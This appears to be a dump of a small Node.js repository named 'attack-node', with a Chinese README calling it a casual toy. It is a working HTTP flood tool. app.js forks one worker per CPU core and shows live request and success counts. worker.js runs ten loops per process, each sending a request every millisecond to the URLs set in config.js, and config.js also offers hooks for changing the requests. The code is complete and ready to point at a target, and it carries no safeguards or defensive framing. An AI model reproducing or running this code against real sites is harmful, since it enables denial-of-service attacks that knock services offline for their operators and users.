├── .gitignore ├── README.md ├── app.js ├── config.js ├── package.json └── worker.js /.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /package-lock.json -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # attack-node 2 | - 这就是个随手写着玩的东西,很菜 3 | - 配置文件直接去看注释就好 4 | - 定时关闭worker是因为会出现内存泄漏问题,并且目前找不到解决方案 5 | -------------------------------------------------------------------------------- /app.js: -------------------------------------------------------------------------------- 1 | const child_process = require('child_process'); 2 | 3 | const processes = []; 4 | 5 | const status = { 6 | total: 0, 7 | error: 0, 8 | success: 0, 9 | fail: 0, 10 | status: {}, 11 | rps: 0, 12 | process: 0, 13 | startAt: new Date().getTime() 14 | } 15 | 16 | const init = () => { 17 | const config = require('./config') 18 | for (let i = 0; i < config.process; i++) { 19 | initProcess(); 20 | } 21 | } 22 | 23 | const initProcess = () => { 24 | const id = processes.length; 25 | const p = child_process.fork('./worker.js'); 26 | processes[id] = p; 27 | p.on('exit', (code, sig) => { 28 | status.process--; 29 | initProcess(); 30 | }) 31 | 32 | p.on('message', msg => { 33 | onMsg(id, msg); 34 | }) 35 | status.process++; 36 | } 37 | 38 | const onMsg = (id, msg) => { 39 | if(msg.type == 'request'){ 40 | Object.keys(msg.data).forEach(e => { 41 | let fail = 0; 42 | let success = 0; 43 | let error = 0; 44 | status.total++; 45 | if(msg.data[e].status === -1){ 46 | // 错误请求 47 | error++; 48 | }else{ 49 | if(msg.data[e].status >= 200 && msg.data[e].status <= 399){ 50 | // 成功请求 51 | success++; 52 | }else{ 53 | // 失败请求 54 | fail++; 55 | } 56 | 57 | // 记录 statusCode 58 | if(status.status[msg.data[e].status]){ 59 | status.status[msg.data[e].status]++; 60 | }else{ 61 | status.status[msg.data[e].status] = 1; 62 | } 63 | } 64 | 65 | status.error += error; 66 | status.fail += fail; 67 | status.success += success; 68 | status.rps = Math.round((status.success - status.fail)/((new Date().getTime() - status.startAt)/1e3) * 1e3)/1e3; 69 | }) 70 | } 71 | } 72 | 73 | setInterval(() => { 74 | const t = new Date(new Date().getTime() - status.startAt); 75 | console.clear(); 76 | console.log(`--------[${t.getHours() - 8}:${t.getMinutes()}:${t.getSeconds()}]--------`); 77 | console.log(`total: ${status.total}`); 78 | console.log(`fail: ${status.fail}`); 79 | console.log(`error: ${status.error}`); 80 | console.log(`success: ${status.success}`); 81 | console.log(`rps: ${status.rps}/s`); 82 | console.log(`process: ${status.process + 1} (${status.process} worker, 1 master)`) 83 | console.log(`statusCode: ${JSON.stringify(status.status)}`); 84 | console.log(`--------[${t.getHours() - 8}:${t.getMinutes()}:${t.getSeconds()}]--------`); 85 | }, 3e2); 86 | 87 | init(); -------------------------------------------------------------------------------- /config.js: -------------------------------------------------------------------------------- 1 | const os = require('os'); 2 | 3 | module.exports = { 4 | process: os.cpus().length, // 进程 5 | thread: 10, // 线程(?) 6 | target: [ 7 | { 8 | url: 'https://example.com', // Url 9 | method: 'get', // Method 10 | body: undefined, // body 11 | headers: {} // headers 12 | } 13 | ], 14 | worker: { 15 | request: { 16 | timer: 1, // 多久发一次请求 17 | }, 18 | hook: { 19 | request: { 20 | // 发送请求前做的事 21 | befor: async (url, options) => { 22 | // do something 23 | return [url, options]; 24 | }, 25 | // 发送请求后做的事 26 | after: async (res) => { 27 | // do something 28 | return res; 29 | } 30 | } 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "attack-node", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "app.js", 6 | "dependencies": { 7 | "child_process": "^1.0.2", 8 | "got": "^11.1.3", 9 | "fs": "^0.0.1-security", 10 | "os": "^0.1.1" 11 | }, 12 | "devDependencies": {}, 13 | "scripts": { 14 | "test": "echo \"Error: no test specified\" && exit 1" 15 | }, 16 | "author": "", 17 | "license": "ISC" 18 | } 19 | -------------------------------------------------------------------------------- /worker.js: -------------------------------------------------------------------------------- 1 | const got = require('got'); 2 | const config = require('./config'); 3 | 4 | let dataCache = []; 5 | 6 | setTimeout(() => { 7 | process.exit(); 8 | }, 1e4); 9 | 10 | for (let i = 0; i < config.thread; i++) { 11 | setInterval(() => { 12 | config.target.forEach(async e => { 13 | let url = e.url; 14 | let options = { 15 | method: e.method, 16 | body: e.body || undefined, 17 | headers: e.headers 18 | }; 19 | 20 | [url, options] = await config.worker.hook.request.befor(url, options); 21 | 22 | try { 23 | let res = await got(url, options); 24 | res = await config.worker.hook.request.after(res); 25 | dataCache.push({ 26 | status: res.statusCode, 27 | }) 28 | } catch (error) { 29 | dataCache.push({ 30 | status: -1, 31 | }) 32 | } 33 | }) 34 | }, config.worker.request.timer); 35 | } 36 | 37 | setInterval(() => { 38 | if(dataCache.length > 0){ 39 | process.send({ 40 | type: 'request', 41 | data: dataCache 42 | }) 43 | dataCache = []; 44 | } 45 | }, 100); --------------------------------------------------------------------------------